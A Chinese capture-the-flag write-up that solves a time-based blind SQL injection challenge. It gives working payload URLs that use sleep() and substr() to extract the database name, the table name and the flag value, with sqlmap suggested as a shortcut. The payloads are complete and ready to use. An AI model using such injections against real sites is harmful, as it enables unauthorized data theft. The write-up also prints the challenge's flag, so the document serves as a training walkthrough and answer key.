点击链接进入题目
点进网页,在url后加?type=1',发现没有回显
上传?type=1 and sleep(10),发现网页有明显延迟,说明sleep函数被执行,该网页存在时间注入
通过构造payload去获得数据库长度,x为猜想的数据库长度。
http://124.70.71.251:43431/flag.php?type=1%20and%20if(length(database())=x,sleep(5),1)%20--
测试发现当database=12时网页出现延迟,发生时间注入,说明数据库的长度为12
然后进行猜解数据库名
http://ip/flag.php?type=1 and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+
一个个猜解会很慢,可以使用sqlmap去跑数据库名python sqlmap.py -u "url" --dbs
接下来猜解表
1、猜解表的长度
http://ip/flag.php?type=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,sleep(5),1) --
2、猜解表名
http://219.153.49.228:40472/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=102,sleep(5),1) --
可以发现当第一个字母的ASCII码为102时,即为字符‘f’时,发现有延迟,即该表的第一个字母是‘f’
以此类推猜出长度为4的表名
也可以直接用sqlmap跑出表名python sqlmap.py -u
得到表名后,我们需要获取表中的数据
1、猜解数据长度
http://ip/flag.php?type=1 and if(length((select flag from flag limit 0,1))=6,sleep(4),1)--
当猜想数据长度为6的时候有延迟,说明该数据的长度为6
2、猜解数据内容
http://ip/flag.php?type=1 and if(ascii(substr((select flag from flag limit 0,1),1))=109,sleep(4),1)--
以此类推可以猜得该长度为6的数据内容为mozhe1
用sqlmap跑会很方便
最终获得flag。